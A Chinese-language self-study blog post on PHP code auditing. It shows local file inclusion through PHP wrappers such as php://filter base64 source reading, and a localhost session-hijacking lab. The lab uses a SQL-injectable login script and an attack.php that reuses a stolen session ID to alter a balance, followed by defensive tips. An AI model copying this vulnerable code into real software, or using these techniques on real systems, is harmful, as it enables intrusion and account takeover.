網絡安全自學篇-PHP代碼審計(十)

一個網絡安全小白在學習過程中記錄下的筆記,希望在CSDN能和大家一起成長,學習,分享,進步,下面分享的是代碼審計中php僞協議以及會話認證漏洞的案例,希望對入門網安的朋友們有所幫助,大神有興趣看看即可,勿噴感謝,同時也歡迎各位師傅私聊交流學習。文章有所參考,也感謝教授我網安知識的師父們,感謝出生在這個互聯網時代,知識觸手可及。
往期文章:
網絡安全自學篇-PHP代碼審計(一)
網絡安全自學篇-PHP代碼審計(二)
網絡安全自學篇-PHP代碼審計(三)
網絡安全自學篇-PHP代碼審計(四)
網絡安全自學篇-PHP代碼審計(五)
網絡安全自學篇-PHP代碼審計(六)
網絡安全自學篇-PHP代碼審計(七)
網絡安全自學篇-PHP代碼審計(八)
網絡安全自學篇-PHP代碼審計(九)

PHP僞協議

相關設置:allow_url_fopen:Off/On
allow_url_include:Off/On
常見的幾種僞協議
1、file://協議
file協議用於訪問系統本地文件
構造如下代碼:

include ($_GET['file']);

http://localhost/file.php?file=file://D:\phpStudy\PHPTutorial\WWW\1.txt訪問
在這裏插入圖片描述
2、php://filter
php://filterx協議用於讀取源碼並以base64輸出
http://127.0.0.1/file.php?file=php://filter/read=convert.base64-encode/resource=./1.txt訪問
在這裏插入圖片描述
在這裏插入圖片描述
3、php://input
php://input協議可以訪問原始數據的流
在這裏插入圖片描述將jadore寫入1.txt
在這裏插入圖片描述
4、data://
data://-數據
在這裏插入圖片描述

會話認證漏洞

原理:會話中認證得到的標識可以被攻擊者任意篡改
挖掘思路:
直接將用戶信息保存在cookie中並且沒有使用session進行認證
1、session劫持攻擊,攻擊者劫持用戶的sessionID來修改用戶的session變量
2、session固定攻擊,攻擊者固定用戶的sessionID來存取用戶的session數據
案例:
構造登錄表單login.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>用戶登錄</title>
</head>
<body>
    <form action="login.php" method="post">
        賬號:<input type="text" name="username"></br>
        密碼:<input type="password" name="password"></br>
        <input type="submit" value="點擊登錄" name="login">
    </form>
</body>
</html>

login.php

<?php
header("content-type:text/html;charset=utf-8");
session_start();
if(isset($_POST['login'])) {
    $username = $_POST['username'];
    $password = $_POST['password'];
    $conn = mysql_connect("localhost","root","root");
    mysql_select_db("csrf",$conn);
    $sql = "SELECT * FROM user WHERE username='$username' and password='$password';";
    $result = mysql_query($sql) or die("執行SQL語句失敗:" . mysql_error());
    if ($row = mysql_fetch_array($result)) {
        $_SESSION['username'] = $row['username'];
        $_SESSION['password'] = $row['password'];
        $_SESSION['money'] = 10;
        header("Location:http://127.0.0.1/user.php?member=".$username);
    }
}else{
    exit('illegal access!');
}

在這裏插入圖片描述
輸出sesseionID的頁面user.php:

<?php
header("content-type:text/html;charset=utf-8");
session_start();
echo "當前用戶的SESSIONID是:".session_id()."<br>";
echo "當前用戶:".$_GET['member']."<br>";
echo "餘額:".$_SESSION['money']."<br>";

獲得一個sessionID
在這裏插入圖片描述
攻擊代碼attack.php:

header("content-type:text/html;charset=utf-8");
session_start();
echo "劫持到的SESSIONID是:".session_id()."<br>";
echo "當前用戶:".$_SESSION['username']."<br>";
echo "餘額:".$_SESSION['money']=1000 ."<br>";

拷貝sessionID,構造如下:

http://127.0.0.1/attack.php?PHPSESSIONID=38rm8vs66v0j84vphnc5lnkc55

餘額變爲1000
在這裏插入圖片描述
此時再回到用戶的頁面user.php刷新,發現餘額也被更改
在這裏插入圖片描述
流程圖:
在這裏插入圖片描述
防禦:
1、使用隨機長度夠大夠複雜的sessionid
2、封裝sessionid
3、更改sessionid的名稱
4、及時銷燬session(session_destroy)

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章